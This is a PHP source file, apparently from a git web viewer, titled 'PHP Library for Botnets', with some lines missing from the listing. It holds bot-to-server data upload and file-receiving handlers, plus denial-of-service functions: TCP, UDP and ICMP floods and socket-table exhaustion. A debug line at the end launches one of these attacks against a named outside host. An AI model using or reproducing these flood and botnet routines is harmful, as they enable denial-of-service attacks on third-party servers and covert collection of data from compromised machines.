2 //PHP Library for Botnets
5 //////////////////////////////
7 ///Settings/////////////////////////////////////////////////////////
10 ///Functions////////////////////////////////////////////////////////
12 ////Uploading to server (GET)
14 function botlib_send_plaintext($passwd, $data, $botlib_url) {
15 file("$botlib_url?passwd=$passwd?data=".urlencode($data));
18 function botlib_send_plaintext_file($passwd, $file, $botlib_url) {
19 $data = implode("\n", file($file));
20 botlib_send_plaintext($passwd, $data, $botlib_url);
23 if(isset($_GET["data"]) && isset($_GET["passwd"])) {
24 $msg_file = "./data.txt";
26 if($_GET["passwd"] != $passwd) die("Error - Incorrect password!");
27 $fp = fopen($msg_file, "a");
28 $data = "\n\n>> ".$_SERVER["REMOTE_ADDR"]." >>\n".$_GET["data"];
34 ////Uploading to server (POST) - Not Yet!!!!
36 function curl_upload_file($file, $botlib_url) {
37 $cmd = "$curl --url $botlib_url";
40 if(isset($_POST) && isset($_FILES) && isset($_POST["passwd"])) {
43 if($_POST["passwd"] != $passwd) die("Error - Incorrect password!</tt>");
44 if(!is_dir($dir)) { mkdir($dir); }
45 if(is_file($dir.$_FILES['file']['name'])) die("Error - File ".$dir.$_FILES['file']['name']." already exists!</tt>");
46 if(!move_uploaded_file($_FILES['file']['tmp_name'], $dir.$_FILES['file']['name'])) { die("Error - Can't move uploaded file!</tt>"); }
47 die("OK - Upload successfull!");
52 function dos_sock_table($host, $port, $max = 0, $timeout = 0.5) {
55 @fclose
($sock_array[$i]);
56 $sock_array[$i] = @fsockopen
($host, $port, $errno, $errstr, $timeout);
58 if($i == $max) $i = 1;
62 function dos_tcp_flood($host, $port, $timeout = 0.00001) {
63 while(1) @fsockopen
($host, $port, $errno, $errstr, $timeout);
66 function dos_udp_flood($host, $size=1024, $port=0, $char='#') {
67 if($port == 0) $port = rand(1,65535);
68 $fp = fsockopen("udp://$host", $port);
71 for($i=0;$i<$size;$i++
) $data = $data.$char; //echo strlen($data); //Debug
72 while(1) fwrite($fp, $data);
75 function dos_icmp_flood($host, $ttl=255, $unix=false, $root=false) {
77 if($root) shell_exec("ping -b -Q 255 -f -t $ttl -l 3 -i 0.2 -s 65507 $host");
78 else shell_exec("ping -b -f -t $ttl -Q 159 -l 65536 -i 0 -s 65507 $host");
80 shell_exec("ping -t -i $ttl -v 255 -l 65500 -w 1 $host");
84 ///Debuging////////////////////////////////////////////////////////////////
85 dos_sock_table("djh.cz", 80, 9000);
86 //dos_tcp_flood("djh.cz", 80);
87 //dos_sock_table("daemoncze.ath.cx", 80, 3000);
88 //dos_sock_table("harvie.ath.cx", 80, 3000);
89 //dos_udp_flood("192.168.2.161");
90 //dos_icmp_flood("192.168.2.161");
This page took 0.84418 seconds and 4 git commands to generate.